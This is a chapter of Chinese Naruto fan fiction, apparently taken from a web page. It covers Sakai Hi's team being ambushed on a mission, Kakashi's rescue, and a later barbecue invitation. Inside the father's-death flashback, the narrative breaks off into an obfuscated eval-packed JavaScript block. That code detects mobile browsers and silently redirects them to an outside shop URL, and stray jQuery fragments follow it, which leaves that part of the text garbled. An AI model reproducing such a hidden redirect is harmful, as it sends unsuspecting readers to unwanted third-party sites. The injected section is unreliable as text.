*
“……哼,那家伙真是的,毕业这么久还能抢所有人风头,可恶啊!”藤野和也不服气地龇牙咧嘴,紧攥着拳头朝空气盲打。
佐仓桃濑拿着木棍杵了杵火堆下埋着的红薯,笑眯眯地宽慰道:“我们也不赖嘛,完美解决了很多任务!”
这句话半点都没安抚到藤野和也愤怒的心灵,反而让他话闸子打开,倒豆子一样倾诉。
“可恶的旗木卡卡西!可恶的天才!天天就瞪着死鱼眼到处乱窜,蒙着脸竟然还能被夸帅!可恶可恶!”
一连好几个零星的火星子从他指尖冒出又消失。
佐仓桃濑歪头想了想:“可是他真的很厉害啊?”
藤野和也先是一愣,随即鼓着脸,不解又愤懑地说:“天才都要被嫌弃死守规矩,现在只能和带土那小子组队,太不公平了吧?!”
佐仓桃濑吐了吐舌头:“怎么感觉你只是在发泄不能和卡卡西成为队友的怒气呢……”
随后又假装伤心地看向火堆边安静沉思的女生:“和也太让人伤心了,绯,你快来给我评评理!”
酒井绯从发呆的状态里回过神来,抬头看向对面的两人。火光倒映在她黑色的瞳孔里,留下微弱的萤光。
记忆中,沉默紧绷的男生站在村民的低声指指点点中,青筋暴起,却一言不发。
酒井绯抚摸着左手腕间微微凸起的白色浅痕,眨眨眼,温吞地回答:“大概……是吧。”
*
这次,小队的任务是拿到敌国文书。因为情况紧急,他们作为先行者探寻位置,据说之后还有其他队伍支援。
不过比起等待未知的支援,还是他们自己做好万无一失的准备更好。于是讨论完战术之后,小队就正式启程,被老师带领深入茫茫黑夜。
夜黑风高,静谧树林中处处是隐秘的杀机。
雾色渐浓,山吹勇太伸手示意停下,在微风中感知到微不可察的腥味,仔细辨别来处。
他看向身后尚且年幼弱小的孩子,隆起的眉松开,微不可察地叹气。
不待细思,尖锐杀意顷刻而至。
先前温和的雾变成了杀人于无形的利器,山吹勇太只来得及将学生打包起来全部扔出雾圈,臂弯硬生生挡住投掷而来的苦无。
他眯起的眼眸睁开一条弯缝,心底不断念叨“任务就是狗屎”。
“老师!”
明明方才还在期待着来一场酣畅淋漓的大战以证明实力的和也目眦欲裂,竭力忍住恐惧和担忧。
调整姿势安稳落地,定好心神后,桃濑和绯合力扯着和也潜入后方。
老师拖住了敌方主力,而被老师送走的他们必须找到文书,完成任务。
很快,他们锁定目标:护送文书的忍者有三人。借着黑夜的掩护,勇太班率先设下陷阱除掉医疗忍者。
血肉与金属相碰,温热的液体溅上剩下两人的脸颊。
桃濑与和也迅速上前,合力拖住其中一人,而绯则穿梭在另一人的密密麻麻的针雨中,替身术接连施展。
水雾弥漫,再一次金戈相接之际,金属质感的刀身两面倒映着一黑一红的两双眼。
条件正好合适,绯下意识使用雷遁,借用水雾导电扩大攻击范围。
就在雷电鸣叫时,背后风斩突袭,先前飞出的手里剑被无形的水链牵引,锁住肩胛骨。
“噗呲!”
原来水雾是为了替这条水链打掩护啊。
“绯!”同样被遏制住的桃濑二人惊呼着,见证着这一刻的血花飞溅。
“咳,咳咳!”
无力地垂首,吐出的鲜血流淌成光洁的镜面。
“嘛,木叶只剩下这些小鬼头了吗?杀起来真没意思。”男人随意又散漫地勾住锁链,同队友嘲笑着小屁孩的三脚猫功夫。
……要死了吗?
酒井绯意识模糊地盯着血滩中暗红色的剪影。
……是从什么时候开始,她的整个人生都被溅上了血色呢?
父亲的去世?母亲的病逝?
【“绯,”母亲温和地拂过她的脸颊,嘴角挂着惨淡的微笑,“这不是个好的时代……忍者的本质就是工具,可我不希望你成为工具……不要成为选择任务的忍者,不要放弃自己的生命,不要在弱小时暴露自己的能力。”
“最重要的是——要好好活着。”】
活着……?
平静的镜面忽然燃起细微的气泡,像即将沸腾的水。
“喂,你叫绯是吧?”男人冷漠地扯过锁链拉近与她的距离,肩胛骨的创伤面积扩大,血液染湿了夜行服,黏腻得让人发痒。
“在战场上,没能力的小鬼就该去死——”
“——是吗?”
青涩干净的嗓音在耳边响起,雷电与风刃相交,只有烧焦的羽毛气味清晰地袭入鼻间。
炸起的血液重新平静下来。
好耳熟……
酒井绯在倒地前望着靠近的闪光,如此思索着熟悉感的来源。
“诶诶,卡卡西你怎么就让女孩子直挺挺倒地上啊!”
“没事,让我来吧。”
咋咋呼呼的声音、温柔的声音、桃濑和也担忧的声音在另一边响起,一切都像是隔着玻璃,听不真切。
*
【“酒井觉在任务中为保护物资身亡,请家属前来认领遗体。”
“为了任务、村子而死是件光荣的事情,酒井觉这样的忍者才是真正的英雄!”
……英雄?
不,他只是个普通的忍者,答应了下次回来就陪孩子训练的普通的父亲,悄悄瞒着为妻子准备生日礼物的普通的丈夫。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17807331|210750||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
只是一个普通人而已。】
“——你醒了?酒井绯是吧?可以出院了,后面还有病人等着床位。”
周围满是各种程度受伤的病人痛苦地低声呻吟着,酒井绯扶着墙缓缓离开,身侧不时有冰冷的尸体来往运送。
有些已经面目全非,难以辨认。
而未死之人连悲痛都来不及发泄就得被任务和战争压得喘不过气。
连小孩也要上战场的世界就是这样的,没有时间来抒发多余的感情。
缠着绷带,一路踉踉跄跄地返回落灰的家中,酒井绯脱力地把身体投入客厅小茶几旁的榻榻米中,面颊享受着软绵的枕头。
直到肚子开始咕咕叫,她才不得不拖着沉重的身躯打开冰箱,并得到了发着臭味的烂鱼烂菜——出任务前才买的粮食随着漫长的昏迷期已经腐烂得彻底。
所幸楼下就是店铺,买点预制菜算了……
“绯?”佐仓桃濑的声音从货架后方传来,一阵窸窸窣窣之后顶着一头乱翘黑发的桃濑从一堆等待上架的货物里冒出。
“居然是今天出院吗?遭了,没来得及接你!”
“我没事,不过你……”酒井绯不明所以地被佐仓桃濑拉到角落,后者正鬼鬼祟祟地探察四方来人,“有别的事吗?”
佐仓桃濑弯着一双杏眼,散发着亮晶晶的闪耀的光芒:“绯——我亲爱的绯酱,我想请水门班吃烤肉以示感激,我跟和也已经成功邀请到三分之二了!”
“所以剩下的三分之一由我来邀请?”
双手紧握着绯的手,佐仓桃濑诚恳地眨眼:“卡卡西,就交给你了!作为交换,等会儿来我家吃午饭吧,我妈妈准备做补血大餐,非常适合你,顺带生活物资免费领!”
“我拒绝……”
最后屈服于免费物资的酒井绯,尽管犹犹豫豫地来回绕圈子,但还是顺利抵达旗木卡卡西的住处。
待她伸出食指和中指叩击木门时,恰有身影接近。
抬眼对视,许是对方训练过后才洗过脸,日光下水珠从额角落下,周身的温度随着他的靠近而升高,热腾腾的气流烫得酒井绯莫名后退一步。
视线开始不自然地游移,落到他的肩膀。
“谢谢你们来支援,我和队友想请你们吃烤肉,今晚七点在岩永烤肉店聚会。”
酒井绯争取一口气说完关键信息,而卡卡西连看都懒得看便忽视掉她,自顾自地走进院子,面无表情地丢下一句“不感兴趣”就关上门,彻底隔绝了外界的交流。
酒井绯站在原地,垂眸不知在想什么,随即深吸一口气、提高嗓音补充道:“带土和琳都会去,你能来的话大家都很高兴,我们是真的很想和你交流。”
住宅内投掷出一枚苦无,最终立在酒井绯身前。一门之隔,卡卡西皱眉冷硬地回复:“你真的很吵。”